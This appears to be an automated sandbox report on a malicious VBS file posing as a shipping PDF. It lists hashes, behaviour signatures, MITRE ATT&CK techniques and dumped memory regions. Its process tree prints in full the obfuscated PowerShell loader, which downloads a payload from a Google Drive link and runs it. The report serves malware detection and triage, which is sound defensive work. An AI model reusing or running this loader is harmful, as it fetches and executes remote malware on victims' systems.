3161d5d0a756aeaf55bd427ec30f35e7a2cb307d88e36bddfd0dfebedacdf450

General

Target

SHIPPING DOCUMENT_PDF.vbs
Size

34KB
MD5

a6b12f631b09eb34cca4e10fbf1c7439
SHA1

0aacba2d2405b2cf27dc9faa06669c4f381c1d9a
SHA256

3161d5d0a756aeaf55bd427ec30f35e7a2cb307d88e36bddfd0dfebedacdf450
SHA512

76b40ad860e40028af3878c09d2160fc88ee5715afae412c5e8a1d11233bdc1ae459978b00ba1ff0d1eed638a396ec973130a009523886088e1c81019a64aadb
SSDEEP

384:XE/p5dFHav1y1TlJ+D3mrSh9sKrhtkdd/jJJEhMkCqB0HTP7/JQ:0/pRXb5Wn9rhtkdd/EhM3DxQ

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2880	WScript.exe
7	2168	powershell.exe
9	2168	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2168	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 2168	2880	WScript.exe	28
PID 2880 wrote to memory of 2168	2880	WScript.exe	28
PID 2880 wrote to memory of 2168	2880	WScript.exe	28
PID 2168 wrote to memory of 2552	2168	powershell.exe	30
PID 2168 wrote to memory of 2552	2168	powershell.exe	30
PID 2168 wrote to memory of 2552	2168	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHIPPING DOCUMENT_PDF.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Crossgrainedness = 1;$Consolidations='S';$Consolidations+='ubstrin';$Consolidations+='g';Function Pinligst242($Hexagyn){$Europrojektet=$Hexagyn.Length-$Crossgrainedness;For($Regningsarterne122=5;$Regningsarterne122 -lt $Europrojektet;$Regningsarterne122+=6){$Udspejdendes+=$Hexagyn.$Consolidations.Invoke( $Regningsarterne122, $Crossgrainedness);}$Udspejdendes;}function Sokes($Fablernes){& ($Arbejdsstederne) ($Fablernes);}$disconformably=Pinligst242 'Bana,M,cteno ,nogzp nkti do elMalaalEkskuaCar a/Under5treer.Count0ample B,nzi(M huaWunproi WekanAntiad EkspoTe.evwi telsTotal LinieNDoggiT eteo Ankus1Stati0 Vand.Nonco0R.tch;Sters KoaliWFlukti Misbn Afl 6 Ou f4studi;Sala, EntoxStaph6W.yla4Mdere;Sp ai FimsrDouchvVarm.:Tillg1Dr,ge2Varie1 ydri.Cheek0tyver) R so ,redG .dioeUrbefcUdlsnkAnve,oTilba/Vaske2Grena0.ekst1Tibia0 .avi0 ,urf1Purpo0Sphyg1Dybde S royFSammeiKnirkr afm esterlf Af roLookox hilo/Striv1Javan2Kated1j ngl.Abcsp0U,der ';$sundhedskommissioner=Pinligst242 'GelabUAmoursKatrie,caporAedea-SalliANyordg.ystee WattnEr vetKompl ';$Avowably=Pinligst242 ',nguih DesttKlovstToxitpOpdels Swel: Udel/Mods./Ass rdOutlir BombiSkil,v B eveUdvik.UncomgBundgo ffico NoddgRad,cl bereeAare..Ju efcSeksao F sim Snoo/ FolkugvinkcFutu.? MerseHaemoxTil.kpMasseoUnre,rA.optt Katt=Underd ,pleoHundrw Irrin RoislSkydeoKo onaHundedDiato&er itiGastrd skov=Timef1 HenlYMunketLamme4 UdskgBillehSkolasWahooZKobelTDdsdrbAlfedgParadCVoc.tK skruIferre8Sattv8 EpilWKonsuVskribbPreenmDep,rRVildtCVicev8 AfloHdisbaBGrimaoPinn,IEliciS BusduAndenNFlystWEllip4AlittKOvera ';$Hortorium=Pinligst242 'firep>Besmi ';$Arbejdsstederne=Pinligst242 'ScroliSt.ifePilnex Slac ';$Giggish='fielder';Sokes (Pinligst242 'UnimpSMislyeUerhotTmdet- .lteCKremeo unwonGainwt Parae forhnSt.iktzo el Clear-.unknPBi,teaPelvetKas,ehUdta, StephTModem:she,t\WrithD Sk,deFo,rtfEftereO,erlcPens.aB,ddetForbloStranrAdvis.IndbotRundkxAscent F.rv sa.le-FllesVKovaraFor.llAfblsuJuiceeD nin Overt$ObligG obaiGaufrgUndergFjolsiCrys,sPretyhWhats;Produ ');Sokes (Pinligst242 'Wirlii vaccfDomst Anigo( teletBrusheAbe.isOffict Til.-Amts,pStanda SlidtJenskhHaanl M,galTR ngs: Orie\ ochuDUnstue VertfPrefaeMariccEvneracswtotBypl.osvaltrLiney.OmgantUmusixSkn atindk,) Soup{Kredse Meikx,oldai Simptpalud} San.;Flu,r ');$peto = Pinligst242 ' MasseLordecDragthVa utoMater Aflu%TonefaUdsagpH lpepdesardConfaaForsit Insta Choo%tel.f\InundT Darkrpim eiBedriv HjlaiMeshwaSten lOplysiSe.estWhorieTeksttRustie.abrinNavnesTaste.MediekRobo.oBarsenSulfa Facia&Neddy&Konst TranseHennicUsaa,h GardoKniv U fl$Opini ';Sokes (Pinligst242 ' Cann$Op.olgSiphol,entgoFo,fab Sl,naSikkelFdsel:Ne vrCTankraEle,tl.annet Ov,rhErgonrFor ioparacp.unjc=spinu(PolyocKvindmBadeldC tto Tiddl/ Strgcbloka Horse$PrestpSel,zeTr aktSlvstoIzaak)L,ver ');Sokes (Pinligst242 ' Fugt$Cymesg Br tlFedteoBetjeb,fornaDolthlMulct:F,gleSK ibltDipl.rAfsteoVerdef.obbeiIndussHastik potp=Trans$Gurk,A,utsevO.ecroankylwUrbanaVe,bebM,snjlYttr yTokon.salgss TrvapBumbllgolfei.otentSmurt(Vrdik$ Yob,HBenkaoBarylrh,rset SyvsoTndstrD,lbeiudskru ThalmSemin)Afhst ');$Avowably=$Strofisk[0];Sokes (Pinligst242 'C,upu$KonsugOverwlFru goda.asbSublaaWagonlHaard:gironUSpatinS attdTrefoeBowshr vol,l R,stg ActigAnalyeNeutrnsymbodBoligeperidsOri.n= GaraN Arbee,ogmawFinge-AnaloOSyngnbPol oj KonteL plucUnerrtSmerv Pyr Sbeg,ly Lag sPh,totKrseleAlloemPatro.ForhaN etaceIncont,olar.S lfiWMi.roeKjoleb.tubmC Rarel ipteiFremoe barsnOpr,ltVarni ');Sokes (Pinligst242 'Mawky$ TubeU SavlnMaterdUncones,edjrSyvenlEyl,fg Monog Pilue Th.anEntredBr,mseSuasisAnraa.,eligHNon,nePresbaFlisedRotereStonerKron,sNonch[ Stud$Medi,s brneu uasinFr.ncdMatinhInveieAfmagdtelsos ma.ikBellioVa ormTela.mOverciTrffesColetsDestriP.ntio ,utrnRepu,eOpfinrCityt]Arveg=J ram$CentrdSpealiSwordsWallacLi ieomnst npropofVanemoL nderProsemStempaLakinbJi,belnytesyHalvf ');$Patao=Pinligst242 'unb.aUAzid.nfinjudBradyeNudisrElabolMe,ahgde azgUnbapeBolignOschedJenaseLlings Plum.ProtoD Bymso Darrw,fsavn MsinldokumoSansea adsd Eph.F .rediFo stlcalvaePneum( Stvl$Dem sAMode.vBespro.astrwBortgaE uisbKa melGrundyPseud, ,abi$,nsomHs.linoB,duimNo cooca,biePerryrFo,ieoVinyitkibesi SoldcForsk) Repr ';$Patao=$Calthrop[1]+$Patao;$Homoerotic=$Calthrop[0];Sokes (Pinligst242 ' in.e$PostogSeceslColonoReallbTrkgraRockelQuino:MeasuLGerm,eColimgHett,aCongetAfg si .catoskib,n RevoeHaan.r UkamnVkkele,idsisSuper8.orls0Ombes=Moca,(DelfiTDowncetr kks Bengt,hirl-San aPm untaKvajetEngelhHelis Readd$,artsHBanemoKapi,m GrupoAjlefeDiamar EvenoEnsomtRepe i Trelc Dumb) Sphe ');while (!$Legationernes80) {Sokes (Pinligst242 ' Unse$ DelfgVaebnlReorgoIodoebVand,aApokrlAspec:PrecoETeleftSouchiCa.cikFredskS,miceN,zisr Unjos comp= Slut$Rejset IsolrUrettuDisoreTyrke ') ;Sokes $Patao;Sokes (Pinligst242 'SympaS.andpt S.ipaColl,rtrendt Unca-MonitS BolilBemyneBilageAutoppImpre Myst4u pat ');Sokes (Pinligst242 'Unsul$Torpeg SenslT.ekkoTold bNont a Coell Ton,:ThermLEksotegadeagMilitaPyometalk,liTaplboAffyrn TereePseudrH idenMiswre DromsE,dys8 Manw0Indet=Scand(PlaywTDogede Nedss BlottUnsto-Noto,P BreaaO,krvtTol,vhFrkke Fugle$TelesH FjeroLejermM,todoSidereGu,tarI izeoBubbltP ofii Aeroc Unpr)Klemn ') ;Sokes (Pinligst242 'Astou$SadelgnightlAfskeo,kabsbOverda UnrelF rce:Tour,NOpdigoFaitsyKinetfOktavuIndv.lAhval=Tabo,$Sten.gBlokoloppa o SmagbMu.ika DatalCompu:Un.miJKultuuBarresMis vtBravoitrunkcNo.asi daala,elefr,coloyMisotsBuffohRattliA.tikp Sta,6Paast4Raast+S.ids+Indef%,ekla$Flui.SFundetEf err .veroStvsufSnderiOsrics.kolakOpr k.T.ykicMem,ro SluduRottenSpor.tslger ') ;$Avowably=$Strofisk[$Noyful];}Sokes (Pinligst242 'Mothe$PangagTje.slPerveoCockabRarelaTer,ilSvagb:P,ramTmisbia splekskippnDekedeIzaugmS.allm.equoe KlimlMateriBactegKomplh AktoeErkendBakissSkaft .ilmm=Overs TaarG TosseTeleftInder-ForynCGippeoNarthnRepubt MissebumsenSempitRefr, Se v$tomboHalt,ro D,mam BrndoSkr,de BramrSolipoMedictWhykeiZoolocHyldn ');Sokes (Pinligst242 'Filla$DollagT.eeklSpecioEnhedbKons a.randlDataf:WhumpSSs.sttPol.caMaybrlsulpha Bakkgnordum .retaKryst Sadne=Sy.pa ,ulsk[ UnfaSastraySterlsDan stMarkeeMelodmRette.Gl,ssCFa ilo LyttnSolbavPre.se InisrC,clitSko.j]Uncla: Chu,:Fo keFL,ndarBran,otilv.mLunnfBsnudea WaltsDisgaerideb6 Tita4La enSHa.dltTapi rMea oiIndenn olegAnato( Fan $ HinkTSkubbaAflsekMi,danAt erePassimTidsfmSlaa eJeapolTilhoiUnquagInda.hZoopheRhumbdAfgi.s ichi)skand ');Sokes (Pinligst242 'penne$ xtengscat,l notooPrescbBaandaTailslCoplo:PreprSkedgeaSkyttl Im.ugPseudsOmsttgPrec,aAmtsksF,men Telom=Turne perci[ KlarSSpermySponssKennitFo treSu,nym Fa,t.OverpT OvereRuth.xReasotHerba.fo,leESpaltn HrescKemoto SnerdMe taiCabl nBureag Sn s]malmi:Vlver:NjedeAUnd,rSV bisC InfiIB andITankr.ConfeGEscrie bac,tSyne.S Bro,tSu.plr LedniInfranDigamg ,udd(Al.uv$ nackS BalktHurt,aLaesnlDodekast,rvgDrik.mSl nga ,xul)Fr ca ');Sokes (Pinligst242 'Sdeba$OpinigSkvadlHaz aoTimotbHymieaHerrelFra,k:LeiotBG,ldelAcumeeUnwedeKrselrTilbyn ulpueFrid,sBr.vf= ,exa$LagerSNonblaBillel Adv gTypens uchig IndeaEkseksPreed.GuamasSyngnuVokalbFor,ksS,raatP,ther CeraiSmacknSympagColli(Strkn3Swo s1Infor0udgyd5Va ut7 U.sa1Pseud, Path2Paunc9Cont.5 Prer4sorce0Setip)Popul ');Sokes $Bleernes;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trivialitetens.kon && echo $"
    3⤵
    PID:2552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2168-21-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

Filesize
4KB

Download
memory/2168-23-0x00000000028D0000-0x00000000028D8000-memory.dmp

Filesize
32KB

Download
memory/2168-22-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2168-24-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-25-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-26-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-27-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-28-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2168-31-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing